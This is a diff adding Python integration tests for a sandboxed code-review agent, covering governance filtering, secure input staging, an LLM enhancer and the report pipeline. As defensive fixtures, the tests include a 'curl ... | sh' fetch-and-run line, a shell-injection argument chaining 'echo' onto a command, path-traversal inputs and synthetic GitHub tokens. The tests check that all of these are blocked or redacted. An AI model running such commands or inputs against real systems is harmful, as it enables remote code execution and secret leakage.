_assert_blocked_without_side_effect( + governance, + _request(skill_root, workspace_root, script_id="unregistered_script"), + tmp_path / "unregistered-sentinel", + ) + + +def test_governance_deny_hash_argument_shell_path_and_budget_escapes(tmp_path: Path) -> None: + """摘要、参数、命令、路径和预算越界都必须在执行前被拒绝或人工拦截。""" + + skill_root = _copy_skill_root(tmp_path) + workspace_root = tmp_path / "workspace" + governance = SandboxGovernanceFilter(skill_root / "scripts" / "manifest.json") + requests = ( + _request( + skill_root, + workspace_root, + raw_command="python run_checks.py; echo ghp_" + "a" * 36, + ), + _request(skill_root, workspace_root, structured_args={"unknown": "value"}), + _request(skill_root, workspace_root, input_paths=(Path("../outside.txt"),)), + _request(skill_root, workspace_root, environment={"LANG": "ghp_" + "a" * 36}), + _request( + skill_root, + workspace_root, + budget=ExecutionBudget(runs_started=ReviewConfig().max_sandbox_runs), + ), + ) + + for index, request in enumerate(requests): + _assert_blocked_without_side_effect( + governance, + request, + tmp_path / f"escape-sentinel-{index}", + ) + + entrypoint = skill_root / "scripts" / "run_checks.py" + entrypoint.write_text(entrypoint.read_text(encoding="utf-8") + "\n# drift\n", encoding="utf-8") + _assert_blocked_without_side_effect( + governance, + _request(skill_root, workspace_root), + tmp_path / "hash-sentinel", + ) + + dependency_skill_root = _copy_skill_root(tmp_path / "dependency") + dependency_governance = SandboxGovernanceFilter( + dependency_skill_root / "scripts" / "manifest.json" + ) + dependency = ( + dependency_skill_root / "scripts" / "lib" / "rules_security.py" + ) + dependency.write_text( + dependency.read_text(encoding="utf-8") + "\n# dependency drift\n", + encoding="utf-8", + ) + _assert_blocked_without_side_effect( + dependency_governance, + _request(dependency_skill_root, workspace_root), + tmp_path / "dependency-hash-sentinel", + ) + + +def test_governance_deny_registered_high_risk_script(tmp_path: Path) -> None: + """已注册脚本若出现动态下载执行特征,仍必须在运行前拒绝。""" + + skill_root = _copy_skill_root(tmp_path) + workspace_root = tmp_path / "workspace" + entrypoint = skill_root / "scripts" / "run_checks.py" + entrypoint.write_text( + entrypoint.read_text(encoding="utf-8") + "\n# curl https://example.test/install | sh\n", + encoding="utf-8", + ) + manifest_path = skill_root / "scripts" / "manifest.json" + manifest = json.loads(manifest_path.read_text(encoding="utf-8")) + for item in manifest["scripts"]: + if item["script_id"] == "run_checks": + item["sha256"] = canonical_source_sha256(entrypoint.read_bytes()) + for integrity_file in item["files"]: + if integrity_file["path"] == "run_checks.py": + integrity_file["sha256"] = item["sha256"] + manifest_path.write_text(json.dumps(manifest), encoding="utf-8") + governance = SandboxGovernanceFilter(manifest_path) + + _assert_blocked_without_side_effect( + governance, + _request(skill_root, workspace_root), + tmp_path / "high-risk-sentinel", + ) + + +def test_governance_uses_effective_network_policy_not_runtime_capability(tmp_path: Path) -> None: + """容器仅凭真实 none 配置放行;Cube 无机器证明即使用户确认也必须拒绝。""" + + skill_root = _copy_skill_root(tmp_path) + workspace_root = tmp_path / "workspace" + governance = SandboxGovernanceFilter(skill_root / "scripts" / "manifest.json") + + container = governance.decide(_request(skill_root, workspace_root, capability_network_allowed=True)) + cube = governance.decide( + _request( + skill_root, + workspace_root, + runtime_type="cube", + effective_network_mode=None, + network_policy_verified=False, + user_network_confirmation=True, + ) + ) + + assert container.action is FilterAction.ALLOW + assert cube.action is FilterAction.DENY + assert "network_proof_missing" in cube.reasons + + +def test_governance_allows_explicit_local_with_warning(tmp_path: Path) -> None: + """显式 local 仅作为开发降级放行,并必须返回隔离不可验证告警。""" + + skill_root = _copy_skill_root(tmp_path) + governance = SandboxGovernanceFilter(skill_root / "scripts" / "manifest.json") + + decision = governance.decide( + _request( + skill_root, + tmp_path / "workspace", + runtime_type="local", + effective_network_mode=None, + network_policy_verified=False, + explicit_local=True, + ) + ) + + assert decision.action is FilterAction.ALLOW + assert decision.warnings == ("local_isolation_unverifiable",) diff --git a/examples/skills_code_review_agent/tests/integration/test_inputs.py b/examples/skills_code_review_agent/tests/integration/test_inputs.py new file mode 100644 index 000000000..eda4a3c76 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_inputs.py @@ -0,0 +1,221 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for A8 input acquisition and secure staging.""" + +from __future__ import annotations + +import os +import subprocess +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.config import ReviewConfig # noqa: E402 +from code_review.inputs import ( # noqa: E402 + FixturePayload, + InputLimitError, + InputValidationError, + load_input, +) + + +def _git(repo: Path, *args: str) -> None: + subprocess.run( + ["git", "-C", str(repo), *args], + check=True, + capture_output=True, + text=True, + ) + + +def _repository_with_changes(tmp_path: Path) -> Path: + repo = tmp_path / "repo" + repo.mkdir() + _git(repo, "init") + _git(repo, "config", "user.email", "review@example.invalid") + _git(repo, "config", "user.name", "Code Review Test") + (repo / "src").mkdir() + (repo / "src" / "service.py").write_text("def run():\n return 1\n", encoding="utf-8") + _git(repo, "add", "src/service.py") + _git(repo, "commit", "-m", "initial") + (repo / "src" / "service.py").write_text("def run():\n return eval(value)\n", encoding="utf-8") + return repo + + +def test_diff_file_is_changed_line_input(tmp_path: Path) -> None: + diff_file = tmp_path / "change.diff" + diff_file.write_text( + "\n".join( + [ + "diff --git a/src/app.py b/src/app.py", + "--- a/src/app.py", + "+++ b/src/app.py", + "@@ -1 +1 @@", + "-value = 1", + "+value = eval(payload)", + ] + ), + encoding="utf-8", + ) + + result = load_input(diff_file=diff_file, input_root=tmp_path) + + assert result.change_set.source_kind == "diff_file" + assert result.change_set.files[0].review_scope == "changed_lines" + assert result.change_set.files[0].new_changed_lines == (1,) + + +def test_files_are_snapshot_full_file_inputs(tmp_path: Path) -> None: + source = tmp_path / "src" / "snapshot.py" + source.parent.mkdir() + source.write_text("value = eval(payload)\n", encoding="utf-8") + + result = load_input(files=[Path("src/snapshot.py")], input_root=tmp_path) + + file_change = result.change_set.files[0] + assert result.change_set.source_kind == "files" + assert file_change.status == "snapshot" + assert file_change.review_scope == "full_file" + assert file_change.full_text.replace("\r\n", "\n") == "value = eval(payload)\n" + + +def test_fixture_preserves_declared_diff_or_full_file_payload() -> None: + diff_payload = FixturePayload( + payload_type="diff", + diff_text="\n".join( + [ + "diff --git a/src/app.py b/src/app.py", + "--- a/src/app.py", + "+++ b/src/app.py", + "@@ -3 +3 @@", + "-return old_value", + "+return new_value", + ] + ), + ) + files_payload = FixturePayload( + payload_type="files", + file_contents={"src/app.py": "return value\n"}, + ) + + diff_result = load_input(fixture=diff_payload) + files_result = load_input(fixture=files_payload) + + assert diff_result.change_set.source_kind == "fixture" + assert diff_result.change_set.files[0].review_scope == "changed_lines" + assert diff_result.change_set.files[0].new_changed_lines == (3,) + assert files_result.change_set.source_kind == "fixture" + assert files_result.change_set.files[0].status == "snapshot" + assert files_result.change_set.files[0].review_scope == "full_file" + + +def test_repo_input_reads_tracked_full_text_and_untracked_text_files(tmp_path: Path) -> None: + repo = _repository_with_changes(tmp_path) + token = "ghp_" + "a" * 36 + (repo / ".env").write_text(f"TOKEN={token}\n", encoding="utf-8") + (repo / ".venv").mkdir() + (repo / ".venv" / "ignored.py").write_text("value = 1\n", encoding="utf-8") + (repo / "asset.bin").write_bytes(b"\x00binary") + + result = load_input(repo_path=repo) + + changes = {file_change.normalized_path: file_change for file_change in result.change_set.files} + assert changes["src/service.py"].status == "modified" + assert changes["src/service.py"].full_text is not None + assert result.change_set.source_kind == "repo_path" + assert changes[".env"].status == "added" + assert changes[".env"].review_scope == "full_file" + assert ".venv/ignored.py" not in changes + assert "asset.bin" not in changes + assert result.warnings.count("input_binary_skipped") == 1 + assert token not in " ".join(result.warnings) + + +@pytest.mark.parametrize( + "kwargs", + [ + {}, + {"diff_file": Path("one.diff"), "files": [Path("two.py")]}, + {"fixture": FixturePayload(payload_type="files", file_contents={"x.py": "x = 1\n"}), "repo_path": Path(".")}, + ], +) +def test_input_forms_are_mutually_exclusive(kwargs: dict[str, object]) -> None: + with pytest.raises(InputValidationError, match="exactly_one_input_required"): + load_input(**kwargs) + + +def test_files_reject_traversal_absolute_and_symlink_before_reading(tmp_path: Path) -> None: + outside = tmp_path.parent / "outside.py" + outside.write_text("secret = 'outside'\n", encoding="utf-8") + root = tmp_path / "root" + root.mkdir() + (root / "inside.py").write_text("value = 1\n", encoding="utf-8") + junction = root / "junction" + outside_dir = outside.parent / "outside_dir" + outside_dir.mkdir() + (outside_dir / "secret.py").write_text("secret = 'outside'\n", encoding="utf-8") + if os.name == "nt": + subprocess.run( + ["cmd", "/c", "mklink", "/J", str(junction), str(outside_dir)], + check=True, + capture_output=True, + text=True, + ) + else: + junction.symlink_to(outside_dir, target_is_directory=True) + + for candidate in (Path("../outside.py"), outside, Path("junction/secret.py")): + with pytest.raises(InputValidationError): + load_input(files=[candidate], input_root=root) + + +def test_limits_are_rejected_before_input_content_is_loaded(tmp_path: Path) -> None: + source = tmp_path / "large.py" + source.write_text("value = 123456\n", encoding="utf-8") + config = ReviewConfig(max_input_file_bytes=8, max_input_bytes=8) + + with pytest.raises(InputLimitError, match="input_file_too_large"): + load_input(files=[Path("large.py")], input_root=tmp_path, config=config) + + (tmp_path / "one.py").write_text("value = 1\n", encoding="utf-8") + (tmp_path / "two.py").write_text("value = 2\n", encoding="utf-8") + total_config = ReviewConfig(max_input_file_bytes=16, max_input_bytes=19) + with pytest.raises(InputLimitError, match="input_total_too_large"): + load_input( + files=[Path("one.py"), Path("two.py")], + input_root=tmp_path, + config=total_config, + ) + + +def test_fixture_name_requires_and_uses_a_typed_resolver() -> None: + payload = FixturePayload(payload_type="files", file_contents={"src/example.py": "value = 1\n"}) + + with pytest.raises(InputValidationError, match="fixture_resolver_required"): + load_input(fixture="fixture-name") + + result = load_input(fixture="fixture-name", fixture_resolver=lambda _: payload) + + assert result.change_set.source_kind == "fixture" + assert result.change_set.files[0].review_scope == "full_file" + + +def test_input_module_never_logs_raw_fixture_secret(caplog: pytest.LogCaptureFixture) -> None: + token = "ghp_" + "b" * 36 + payload = FixturePayload(payload_type="files", file_contents={".env": f"TOKEN={token}\n"}) + + result = load_input(fixture=payload) + + assert result.change_set.files[0].normalized_path == ".env" + assert token not in caplog.text diff --git a/examples/skills_code_review_agent/tests/integration/test_llm_enhancer.py b/examples/skills_code_review_agent/tests/integration/test_llm_enhancer.py new file mode 100644 index 000000000..7da683b61 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_llm_enhancer.py @@ -0,0 +1,156 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for the constrained LLM enhancement boundary.""" + +from __future__ import annotations + +import asyncio +import copy +import sys +from pathlib import Path +from typing import Any + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.llm_enhancer import LlmEnhancer # noqa: E402 +from trpc_agent_sdk.models import LLMModel, LlmResponse # noqa: E402 +from trpc_agent_sdk.types import Content, Part # noqa: E402 + + +class _InjectedRealModel(LLMModel): + """模拟由调用方显式注入的 real 模型,避免测试访问网络或读取真实 Key。""" + + @classmethod + def supported_models(cls) -> list[str]: + """声明测试专用模型名称。""" + + return [r"injected-real"] + + async def _generate_async_impl( + self, + _request: Any, + stream: bool = False, + ctx: Any = None, + ) -> Any: + """返回与 fake 格式相同的 JSON,验证模式差异不会改变 Runner 调用协议。""" + + del stream, ctx + yield LlmResponse( + content=Content( + parts=[ + Part.from_text( + text='{"summary":"real 摘要","recommendation":"real 建议"}' + ) + ] + ) + ) + + def validate_request(self, request: Any) -> None: + """沿用 SDK 请求校验,确保 injected real 与 fake 一样走标准模型边界。""" + + super().validate_request(request) + + +def _report(secret: str) -> dict[str, object]: + """构造带合成凭据的 canonical 报告,验证传给模型前会统一脱敏。""" + + finding = { + "severity": "high", + "category": "secrets", + "file": "config/.env", + "line": 1, + "title": "敏感凭据泄漏", + "evidence": f"TOKEN={secret}", + "recommendation": "轮换凭据。", + "confidence": 0.99, + "source": "rule-engine", + "rule_id": "secrets.github-pat", + "bucket": "findings", + "dedup_key": "config/.env:1:secrets", + "extra": {"also_matched": []}, + } + return { + "findings": [finding], + "needs_human_review": [], + "final_conclusion": { + "summary": "发现问题。", + "recommendations": ["轮换凭据。"], + }, + } + + +def test_fake_enhancement_redacts_model_input_and_only_changes_text_fields() -> None: + """验证 fake 走真实 Agent/Runner 链路且不修改 finding 身份字段。""" + + secret = "ghp_" + "a" * 36 + original = _report(secret) + enhancer = LlmEnhancer(mode="fake") + enhanced = enhancer.enhance(copy.deepcopy(original)) + + before = original["findings"][0] + after = enhanced["findings"][0] + identity_fields = ( + "severity", "category", "file", "line", "title", "evidence", + "confidence", "source", "rule_id", "bucket", "dedup_key", + ) + for name in identity_fields: + assert after[name] == before[name] + assert after["recommendation"] != before["recommendation"] + assert enhanced["final_conclusion"]["summary"] != original["final_conclusion"]["summary"] + assert secret not in enhancer.last_prompt + assert enhancer.agent_run_count == 1 + + +def test_explicit_real_mode_uses_the_same_agent_runner_path() -> None: + """验证 real 只能显式选择,且注入模型仍通过与 fake 相同的 Agent/Runner 路径。""" + + enhancer = LlmEnhancer(mode="real", model=_InjectedRealModel("injected-real")) + enhanced = enhancer.enhance(_report("ghp_" + "b" * 36)) + + assert enhanced["findings"][0]["recommendation"] == "real 建议" + assert enhanced["final_conclusion"]["summary"] == "real 摘要" + assert enhancer.agent_run_count == 1 + + +def test_enhancement_rejects_sync_call_from_a_running_event_loop() -> None: + """验证同步增强 API 在已有事件循环中明确失败,不创建未等待的 Runner 任务。""" + + enhancer = LlmEnhancer(mode="fake") + + async def invoke() -> None: + """在运行中的事件循环内调用同步 API,覆盖明确的边界错误。""" + + with pytest.raises(RuntimeError, match="llm_enhancement_sync_api_requires_no_running_loop"): + enhancer.enhance(_report("ghp_" + "c" * 36)) + + asyncio.run(invoke()) + + +def test_enhancement_enforces_configured_wall_clock_deadline( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """验证等待模型/Runner 事件的增强链路受显式墙钟预算限制。""" + + enhancer = LlmEnhancer(mode="fake", timeout_seconds=0.01) + + async def never_returns(_prompt: str) -> dict[str, object]: + """模拟无响应模型,直到 wait_for 取消该协程。""" + + await asyncio.Event().wait() + return {} + + monkeypatch.setattr(enhancer, "_run_agent", never_returns) + + with pytest.raises(asyncio.TimeoutError): + enhancer.enhance(_report("ghp_" + "d" * 36)) diff --git a/examples/skills_code_review_agent/tests/integration/test_pipeline.py b/examples/skills_code_review_agent/tests/integration/test_pipeline.py new file mode 100644 index 000000000..2d8c80a47 --- /dev/null +++ b/examples/skills_code_review_agent/tests/integration/test_pipeline.py @@ -0,0 +1,562 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Integration tests for the one-path review pipeline.""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path +from typing import Any + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.inputs import FixturePayload # noqa: E402 +from code_review.pipeline import PipelineFatalError, ReviewPipeline # noqa: E402 +from code_review.report import CanonicalReportWriter # noqa: E402 +from code_review.store import SqlReviewStore # noqa: E402 + + +class _AllowGovernance: + """提供允许执行且不包含敏感内容的最小治理端口替身。""" + + def decide(self, **_arguments: Any) -> dict[str, object]: + """返回允许决定和一条可落库的治理事件。""" + + return { + "action": "allow", + "events": [ + { + "stage": "pre_execution", + "target": "run_checks", + "action": "allow", + "rule": "manifest", + "reasons": ["manifest_verified"], + } + ], + "warnings": [], + } + + +class _DenyGovernance: + """提供拒绝决定,验证 pipeline 不会绕过 Filter 执行沙箱。""" + + def decide(self, **_arguments: Any) -> dict[str, object]: + """返回包含安全原因代码的拒绝治理事件。""" + + return { + "action": "deny", + "events": [ + { + "stage": "pre_execution", + "target": "run_checks", + "action": "deny", + "rule": "network_policy", + "reasons": ["network_proof_missing"], + } + ], + "warnings": [], + } + + +class _FailingGovernance: + """模拟治理层内部故障,验证 pipeline 失败关闭且不启动沙箱。""" + + def decide(self, **_arguments: Any) -> dict[str, object]: + """抛出不含原始输入的数据错误,模拟 Filter 基础设施故障。""" + + raise RuntimeError("synthetic_governance_failure") + + +class _SecretFindingSandbox: + """模拟在隔离任务域中检出真实格式凭据的运行时端口。""" + + runtime_type = "fake" + + def __init__(self, secret: str) -> None: + """保存仅用于模拟沙箱原始 finding 的合成凭据。""" + + self._secret = secret + self.execute_calls = 0 + self.cleanup_calls = 0 + + def execute(self, **_arguments: Any) -> dict[str, object]: + """返回尚未经过宿主二次脱敏的 sandbox finding。""" + + self.execute_calls += 1 + return { + "status": "ok", + "exit_code": 0, + "timed_out": False, + "truncated": False, + "stdout_excerpt": self._secret, + "stderr_excerpt": "", + "error_type": None, + "duration_ms": 7, + "findings": [ + { + "severity": "high", + "category": "secrets", + "file": "config/.env", + "line": 1, + "line_side": "new", + "title": "轮换已提交的凭据", + "evidence": f"TOKEN={self._secret}", + "recommendation": "轮换该凭据。", + "confidence": 0.99, + "source": "rule-engine", + "rule_id": "secrets.github-pat", + } + ], + } + + def cleanup(self, **_arguments: Any) -> None: + """记录 pipeline 在 finally 中释放了任务 workspace。""" + + self.cleanup_calls += 1 + + +class _TimeoutCleanupFailSandbox: + """模拟超时结果与 workspace 清理失败的隔离运行时端口。""" + + runtime_type = "fake" + + def __init__(self) -> None: + """初始化可验证的执行和清理调用计数。""" + + self.execute_calls = 0 + self.cleanup_calls = 0 + + def execute(self, **_arguments: Any) -> dict[str, object]: + """返回超时数据,要求 pipeline 转为 warning 而非崩溃。""" + + self.execute_calls += 1 + return { + "status": "timeout", + "exit_code": None, + "timed_out": True, + "truncated": False, + "stdout_excerpt": "", + "stderr_excerpt": "", + "error_type": "timeout", + "duration_ms": 30, + "findings": [], + } + + def cleanup(self, **_arguments: Any) -> None: + """模拟清理失败,异常文本不应进入任何持久化出口。""" + + self.cleanup_calls += 1 + raise OSError(r"C:\sensitive-workspace\cleanup-failed") + + +class _WarningSandbox: + """返回可持久化的非致命 sandbox 失败结果,用于验证 pipeline 的失败即数据契约。""" + + runtime_type = "fake" + + def __init__(self, *, status: str, error_type: str, truncated: bool) -> None: + """保存受控失败形态,不携带代码、路径或敏感原文。""" + + self._status = status + self._error_type = error_type + self._truncated = truncated + self.execute_calls = 0 + + def execute(self, **_arguments: Any) -> dict[str, object]: + """返回非零或截断的结构化 run 摘要,供 pipeline 落库和生成 warning。""" + + self.execute_calls += 1 + return { + "status": self._status, + "exit_code": 9 if self._status == "failed" else 0, + "timed_out": False, + "truncated": self._truncated, + "stdout_excerpt": "", + "stderr_excerpt": "", + "error_type": self._error_type, + "duration_ms": 1, + "findings": [], + } + + def cleanup(self, **_arguments: Any) -> None: + """fake sandbox 不创建 workspace,因此 cleanup 是无副作用操作。""" + + +class _LowConfidenceSandbox: + """返回一条应进入 suppressed 摘要而不应逐条落库的候选。""" + + runtime_type = "fake" + + def execute(self, **_arguments: Any) -> dict[str, object]: + """返回低置信候选,供 pipeline 验证隐私收敛后的持久化边界。""" + + return { + "status": "ok", + "exit_code": 0, + "timed_out": False, + "truncated": False, + "stdout_excerpt": "", + "stderr_excerpt": "", + "error_type": None, + "duration_ms": 1, + "findings": [ + { + "severity": "low", + "category": "missing-tests", + "file": "src/service.py", + "line": 3, + "line_side": "new", + "title": "低置信候选", + "evidence": "production change", + "recommendation": "人工确认是否需要测试。", + "confidence": 0.30, + "source": "rule-engine", + "rule_id": "tests.low-confidence", + } + ], + } + + def cleanup(self, **_arguments: Any) -> None: + """fake sandbox 不创建 workspace,因此无需清理资源。""" + + +class _FailingEnhancer: + """模拟模型或 Runner 异常,验证增强故障不会中断确定性评审交付。""" + + mode = "fake" + + def enhance(self, _report: dict[str, object]) -> dict[str, object]: + """抛出不应离开 pipeline 的异常,也不携带原始输入内容。""" + + raise RuntimeError("fake_enhancement_failure") + + +def _db_url(path: Path) -> str: + """返回隔离测试数据库的 SQLAlchemy URL。""" + + return f"sqlite+pysqlite:///{path.as_posix()}" + + +def test_pipeline_redacts_sandbox_output_and_persists_review_bundle(tmp_path: Path) -> None: + """验证唯一 pipeline 链路输出报告、五类 DB 记录且不泄漏原始凭据。""" + + secret = "ghp_" + "a" * 36 + database = tmp_path / "review.db" + sandbox = _SecretFindingSandbox(secret) + store = SqlReviewStore(_db_url(database)) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + task_id_factory=lambda: "pipeline-task-001", + ) + + result = pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"config/.env": f"TOKEN={secret}\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + serialized_bundle = json.dumps(bundle, ensure_ascii=False, sort_keys=True) + + assert result.status == "completed" + assert sandbox.execute_calls == 1 + assert sandbox.cleanup_calls == 1 + assert bundle is not None + assert len(bundle["sandbox_runs"]) == 1 + assert len(bundle["filter_events"]) == 1 + assert len(bundle["findings"]) == 1 + assert bundle["report"]["report"] == result.report + assert result.report["findings"][0]["category"] == "secrets" + assert secret not in serialized_bundle + assert secret.encode("utf-8") not in database.read_bytes() + assert secret not in result.json_path.read_text(encoding="utf-8") + assert secret not in result.markdown_path.read_text(encoding="utf-8") + + +def test_pipeline_converts_timeout_and_cleanup_failure_to_warnings(tmp_path: Path) -> None: + """验证非致命沙箱失败仍生成报告,并在 finally 中记录无路径清理告警。""" + + sandbox = _TimeoutCleanupFailSandbox() + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + task_id_factory=lambda: "pipeline-task-timeout", + ) + + result = pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + warning_codes = {warning["code"] for warning in result.report["warnings"]} + serialized_bundle = json.dumps(bundle, ensure_ascii=False, sort_keys=True) + + assert result.status == "completed_with_warnings" + assert sandbox.execute_calls == 1 + assert sandbox.cleanup_calls == 1 + assert bundle is not None + assert bundle["sandbox_runs"][0]["status"] == "timeout" + assert bundle["sandbox_runs"][0]["timed_out"] is True + assert {"sandbox_timeout", "workspace_cleanup_error"} <= warning_codes + assert "C:\\sensitive-workspace" not in serialized_bundle + assert result.json_path.exists() + assert result.markdown_path.exists() + + +@pytest.mark.parametrize( + ("status", "error_type", "truncated", "warning_code"), + ( + ("failed", "nonzero_exit", False, "sandbox_failed"), + ("error", "output_truncated", True, "sandbox_output_truncated"), + ), +) +def test_pipeline_persists_nonzero_and_truncated_sandbox_warnings( + tmp_path: Path, + status: str, + error_type: str, + truncated: bool, + warning_code: str, +) -> None: + """验证非零与截断均落入 sandbox run、报告 warning 和 SQLite bundle,且任务仍可交付。""" + + sandbox = _WarningSandbox(status=status, error_type=error_type, truncated=truncated) + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + task_id_factory=lambda: f"pipeline-task-{error_type}", + ) + try: + result = pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + + assert result.status == "completed_with_warnings" + assert sandbox.execute_calls == 1 + assert bundle is not None + assert bundle["sandbox_runs"][0]["status"] == status + assert bundle["sandbox_runs"][0]["error_type"] == error_type + assert bundle["sandbox_runs"][0]["truncated"] is truncated + assert warning_code in {warning["code"] for warning in result.report["warnings"]} + assert result.json_path.is_file() + assert result.markdown_path.is_file() + assert "C:\\" not in json.dumps(bundle, ensure_ascii=False, sort_keys=True) + finally: + store.close() + + +def test_pipeline_short_circuits_denied_sandbox_execution(tmp_path: Path) -> None: + """验证拒绝治理只留审计和 warning,不允许沙箱产生任何副作用。""" + + sandbox = _TimeoutCleanupFailSandbox() + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_DenyGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + task_id_factory=lambda: "pipeline-task-denied", + ) + + result = pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + + assert result.status == "completed_with_warnings" + assert sandbox.execute_calls == 0 + assert sandbox.cleanup_calls == 1 + assert bundle is not None + assert bundle["sandbox_runs"] == [] + assert bundle["filter_events"][0]["action"] == "deny" + assert "filter_deny" in {warning["code"] for warning in result.report["warnings"]} + + +def test_pipeline_converts_llm_enhancement_failure_to_warning(tmp_path: Path) -> None: + """验证模型配置、网络或 Runner 异常都降级为脱敏 warning 并保持数据库报告完整。""" + + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=_WarningSandbox(status="ok", error_type="", truncated=False), + output_dir=tmp_path / "reports", + task_id_factory=lambda: "pipeline-task-llm-failure", + model_mode="fake", + llm_enhancer=_FailingEnhancer(), + ) + + result = pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + + assert result.status == "completed_with_warnings" + assert "llm_enhancement_failed" in {warning["code"] for warning in result.report["warnings"]} + assert result.report["metrics"]["error_type_distribution"] == {"llm_enhancement_failed": 1} + assert bundle is not None + assert bundle["task"]["status"] == "completed_with_warnings" + + +def test_pipeline_persists_only_suppressed_summary( + tmp_path: Path, +) -> None: + """验证低置信候选只保留计数与原因,不逐条写入 cr_finding。""" + + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=_LowConfidenceSandbox(), + output_dir=tmp_path / "reports", + task_id_factory=lambda: "pipeline-task-suppressed", + ) + + result = pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + bundle = store.get_task_bundle(result.task_id) + + assert result.report["suppressed"] == { + "count": 1, + "reasons": {"low_confidence": 1}, + } + assert bundle is not None + assert bundle["findings"] == [] + + +def test_pipeline_marks_task_failed_when_report_write_fails( + tmp_path: Path, +) -> None: + """验证报告原子写入失败会成为致命错误并把任务状态更新为 failed。""" + + def _fail_write(_path: Path, _payload: bytes) -> None: + """模拟不包含路径或输入内容的报告写入失败。""" + + raise OSError("synthetic_report_write_failure") + + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=_WarningSandbox( + status="ok", + error_type="", + truncated=False, + ), + output_dir=tmp_path / "reports", + report_writer=CanonicalReportWriter(atomic_writer=_fail_write), + task_id_factory=lambda: "pipeline-task-report-failure", + ) + + with pytest.raises( + PipelineFatalError, + match="pipeline_report_or_persistence_failed", + ): + pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "def run():\n return None\n"}, + ) + ) + + bundle = store.get_task_bundle("pipeline-task-report-failure") + assert bundle is not None + assert bundle["task"]["status"] == "failed" + + +def test_pipeline_marks_task_failed_when_input_loader_has_unexpected_error(tmp_path: Path) -> None: + """验证非输入契约异常不会遗留 running 任务,也不会进入治理或沙箱。""" + + def failing_loader(**_arguments: Any) -> object: + """模拟读取阶段的底层 I/O 故障,不泄漏路径或文件内容。""" + + raise OSError("synthetic_input_read_failure") + + sandbox = _WarningSandbox(status="ok", error_type="", truncated=False) + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_AllowGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + input_loader=failing_loader, + task_id_factory=lambda: "pipeline-task-input-error", + ) + + with pytest.raises(PipelineFatalError, match="pipeline_input_load_failed"): + pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "value = 1\n"}, + ) + ) + + bundle = store.get_task_bundle("pipeline-task-input-error") + assert bundle is not None + assert bundle["task"]["status"] == "failed" + assert bundle["task"]["error_type"] == "input_load_error" + assert sandbox.execute_calls == 0 + + +def test_pipeline_fails_closed_when_governance_raises(tmp_path: Path) -> None: + """验证治理决策异常不会被误报为零 finding 的完成报告。""" + + sandbox = _WarningSandbox(status="ok", error_type="", truncated=False) + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + pipeline = ReviewPipeline( + store=store, + governance=_FailingGovernance(), + sandbox=sandbox, + output_dir=tmp_path / "reports", + task_id_factory=lambda: "pipeline-task-governance-error", + ) + + with pytest.raises(PipelineFatalError, match="pipeline_governance_failed"): + pipeline.run( + fixture=FixturePayload( + payload_type="files", + file_contents={"src/service.py": "value = 1\n"}, + ) + ) + + bundle = store.get_task_bundle("pipeline-task-governance-error") + assert bundle is not None + assert bundle["task"]["status"] == "failed" + assert bundle["task"]["error_type"] == "governance_error" + assert sandbox.execute_calls == 0 diff --git a/examples/skills_code_review_agent/tests/integration/test_real_model.py b/examples/skills_code_review_agent/tests/integration/test_real_model.py new file mode 100644 index 000000000..82f040940 --- /dev/null 